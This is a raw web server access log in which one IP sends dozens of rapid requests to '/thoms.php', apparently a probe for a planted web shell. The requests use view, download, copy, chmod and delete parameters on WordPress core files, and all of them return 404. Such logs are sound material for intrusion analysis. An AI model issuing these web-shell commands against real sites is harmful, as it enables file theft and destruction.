45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:25 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?dl=class-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?del=pomo&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pomo&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcategory-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fcategory-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?dl=class-wp-post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?chmod=class-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?chmod=class-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-speculation-rules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:26 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?del=ms-files.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?chmod=class-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-fatal-error-handler.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?del=class-wp-hook.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-navigation-fallback.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?del=build&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=build&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?del=ms-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?dl=template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?dl=theme-previews.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?chmod=images&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=images&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:27 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fauthor-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fauthor-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fglobal-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?chmod=template-canvas.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-canvas.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?dl=view-transitions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-admin-bar.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?del=load.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=load.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=wp-diff.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=wp-diff.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-duotone.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-roles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-roles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:28 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?chmod=class-wp-post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?dl=fonts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=fonts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?chmod=pluggable.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?del=theme-templates.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme-templates.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?chmod=customize&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?dl=ai-client.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=registration-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=registration-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?dl=class-pop3.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=wp-db.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=wp-db.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?del=class-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-filter-sentinel.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:29 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-email-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
